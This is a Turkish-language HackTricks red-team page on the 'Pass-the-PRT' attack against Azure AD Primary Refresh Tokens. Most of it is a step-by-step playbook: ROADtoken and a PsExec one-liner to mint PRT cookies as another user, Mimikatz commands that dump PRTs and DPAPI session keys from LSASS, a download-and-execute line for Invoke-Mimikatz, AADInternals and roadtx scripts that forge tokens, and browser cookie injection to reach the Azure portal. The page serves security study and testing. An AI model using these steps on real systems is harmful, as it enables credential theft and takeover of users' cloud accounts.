Az - Pass the PRT

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

PRT Nedir

pageAz - Primary Refresh Token (PRT)

Bir PRT'ye Sahip Olup Olmadığınızı Kontrol Edin

Dsregcmd.exe /status

SSO Durumu bölümünde, AzureAdPrt'nin YES olarak ayarlandığını görmelisiniz.

Aynı çıktıda, cihazın Azure'a katılıp katılmadığını da görebilirsiniz (AzureAdJoined alanında):

PRT Çerezi

PRT çerezi aslında x-ms-RefreshTokenCredential olarak adlandırılır ve bir JSON Web Token (JWT) içerir. Bir JWT, . ile ayrılmış ve tüm url-güvenli base64 kodlanmış olan 3 bölümden oluşur: başlık (header), içerik (payload) ve imza (signature). Tipik bir PRT çerezi aşağıdaki başlık ve içeriği içerir:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Gerçek Primary Refresh Token (PRT), Azure AD'nin kontrolü altında olan bir anahtar tarafından şifrelenen refresh_token içine yerleştirilir, bu da içeriğini bize karşı opak ve şifresiz hale getirir. is_primary alanı, bu belirtecin içindeki birincil yenileme belirtecinin yerleştirilmesini gösterir. Çerezin, belirli bir giriş oturumuyla bağlantılı kalmasını sağlamak için request_nonce logon.microsoftonline.com sayfasından iletilir.

TPM kullanarak PRT Çerez akışı

LSASS işlemi, KDF bağlamını TPM'ye gönderecek ve TPM, cihaz AzureAD'ye kaydedildiğinde toplanan oturum anahtarını (TPM'de depolanan) ve önceki bağlamı kullanarak bir anahtar türetmek için kullanacak ve bu türetilmiş anahtar, PRT çerezini (JWT) imzalamak için kullanılır.

KDF bağlamı, AzureAD'den gelen bir nonce ve PRT'nin birleştirildiği bir JWT ile bir bağlam (rastgele baytlar) içerir.

Bu nedenle, PTR TPM içinde bulunduğu için çıkarılamaz olsa da, LSASS'ı kötüye kullanarak yeni bağlamlardan türetilmiş anahtarlar isteyebilir ve oluşturulan anahtarları çerezleri imzalamak için kullanabilirsiniz.

PRT Kötüye Kullanım Senaryoları

Bir normal kullanıcı olarak, LSASS'tan SSO verilerini isteyerek PRT kullanımını talep etmek mümkündür. Bu, Web Hesap Yöneticisi'nden (token broker) token isteyen yerel uygulamalar veya tarayıcı tabanlı (web) akışlar ile yapılabilir, burada bir PRT çerezi, Azure AS giriş sayfalarına yapılan istekleri kimlik doğrulamak için başlık olarak kullanılır.

SYSTEM olarak, PRT'nin TPM tarafından korunmadığı durumlarda PRT'yi çalabilir veya kripto API'lerini kullanarak LSASS'ta PRT anahtarlarıyla etkileşimde bulunabilirsiniz.

Pass-the-PRT Saldırı Örnekleri

Saldırı - ROADtoken

Bu yöntem hakkında daha fazla bilgi için bu gönderiye bakın. ROADtoken, doğru dizinden BrowserCore.exe'yi çalıştırır ve bunu kullanarak bir PRT çerezi elde eder. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve kalıcı bir yenileme belirteci elde etmek için kullanılabilir.

Geçerli bir PRT çerezi oluşturmak için ihtiyacınız olan ilk şey bir nonce'dur. Bunu şu şekilde alabilirsiniz:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Veya roadrecon kullanarak:

roadrecon auth prt-init

Ardından, yeni bir PRT almak için roadtoken kullanabilirsiniz (saldırmak için kullanıcının bir işleminden araçta çalıştırın):

.\ROADtoken.exe <nonce>

Aşağıdaki, bir satırda:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Ardından, Azure AD Graph veya Microsoft Graph kullanarak giriş yapmak için üretilen çerezi kullanarak tokenlar üretebilirsiniz:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Saldırı - roadrecon kullanarak

Saldırı - Sızdırılan PTR kullanarak AADInternals kullanma

Get-AADIntUserPRTToken, Azure AD'ye katılan veya Hibrit katılan bir bilgisayardan kullanıcının PRT belirtecini alır. PRT belirtecini almak için BrowserCore.exe kullanır.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ya da Mimikatz'tan değerlere sahipseniz, AADInternals kullanarak bir belirteç oluşturabilirsiniz:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.com adresine gidin, login.microsoftonline.com için tüm çerezleri temizleyin ve yeni bir çerez girin.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Ardından https://portal.azure.com adresine gidin.

Gerisi varsayılan olmalıdır. Sayfayı yenileyebilir ve çerezin kaybolmadığından emin olun, eğer kaybolursa hata yapmış olabilirsiniz ve işlemi tekrar yapmanız gerekebilir. Kaybolmazsa, sorun yok demektir.

Saldırı - Mimikatz

Adımlar

  1. PRT (Primary Refresh Token) LSASS (Yerel Güvenlik Yetkilendirme Alt Sistemi Hizmeti) 'den çıkarılır ve sonraki kullanımlar için saklanır.

  2. Ardından Oturum Anahtarı çıkarılır. Bu anahtar başlangıçta verilir ve ardından yerel cihaz tarafından yeniden şifrelenir, bu nedenle DPAPI anahtarını kullanarak şifre çözme gerektirir. DPAPI (Veri Koruma API) hakkında ayrıntılı bilgi için bu kaynaklara bakabilirsiniz: HackTricks ve uygulamasını anlamak için Pass-the-cookie attack sayfasına bakın.

  3. Oturum Anahtarı'nın şifre çözülmesinden sonra, türetilmiş anahtar ve PRT için bağlam elde edilir. Bunlar, PRT çerezi oluşturmak için önemlidir. Özellikle, türetilmiş anahtar, çerezi oluşturan JWT (JSON Web Token) 'ı imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır ve buradan erişilebilir.

PRT TPM içinde ise ve lsass içinde değilse, mimikatz onu çıkaramaz. Ancak, TPM'den bir türetilmiş anahtarın bağlamından bir anahtar almak ve bunu bir çerez imzalamak için kullanmak mümkün olacaktır (seçenek 3'ü kontrol edin).

Bu ayrıntıları çıkarmak için yapılan sürecin detaylı bir açıklamasını burada bulabilirsiniz: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Bu, Ağustos 2021 düzeltmelerinden sonra diğer kullanıcıların PRT tokenlerini almak için tam olarak çalışmayacaktır, çünkü yalnızca kullanıcı kendi PRT'sini alabilir (yerel bir yönetici diğer kullanıcıların PRT'lerine erişemez), ancak kendi PRT'sine erişebilir.

PRT'yi çıkarmak için mimikatz kullanabilirsiniz:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

![image](../../../.gitbook/assets/image (4) (1) (3).png)

Prt olarak etiketlenmiş kısmı kopyalayın ve kaydedin. Ayrıca, aşağıda vurgulanan ProofOfPossesionKey alanının KeyValue değerini de çıkarın. Bu şifrelenmiştir ve bunu çözmek için DPAPI anahtarlarımızı kullanmamız gerekecek.

![image](../../../.gitbook/assets/image (11) (2).png)

Eğer PRT verilerini görmüyorsanız, cihazınızın Azure AD'ye katılmadığı veya Windows 10'un eski bir sürümünü çalıştırdığı anlamına gelebilir.

Oturum açma anahtarını çözmek için, DPAPI anahtarını kullanabilmek için bilgisayar bağlamında çalışmak üzere yetkilerinizi SYSTEM olarak yükseltmeniz gerekmektedir. Bunun için aşağıdaki komutları kullanabilirsiniz:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Seçenek 1 - Tam Mimikatz

  • Şimdi hem Context değerini kopyalamak istiyorsunuz:

  • Hem de türetilmiş anahtar değerini:

  • Son olarak, tüm bu bilgileri kullanarak PRT çerezleri oluşturabilirsiniz:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Gerisi varsayılan olmalıdır. Sayfayı yenileyebilir ve çerezin kaybolmadığından emin olun, eğer kaybolursa hata yapmış olabilirsiniz ve işlemi tekrar yapmanız gerekebilir. Kaybolmazsa, sorun yok demektir.

Seçenek 2 - PTR kullanarak roadrecon

  • İlk olarak PRT'yi yenileyin ve roadtx.prt dosyasına kaydedin:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Şimdi, etkileşimli tarayıcıyı kullanarak roadtx browserprtauth komutunu kullanarak token talep edebiliriz. roadtx describe komutunu kullandığımızda, erişim tokeninin bir MFA talebi içerdiğini görürüz çünkü bu durumda kullandığım PRT'nin de bir MFA talebi vardı.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Seçenek 3 - türetilmiş anahtarları kullanarak roadrecon

Mimikatz tarafından dökülen bağlam ve türetilmiş anahtar ile, roadrecon'u kullanarak yeni bir imzalı çerez oluşturmak mümkündür:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Referanslar

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated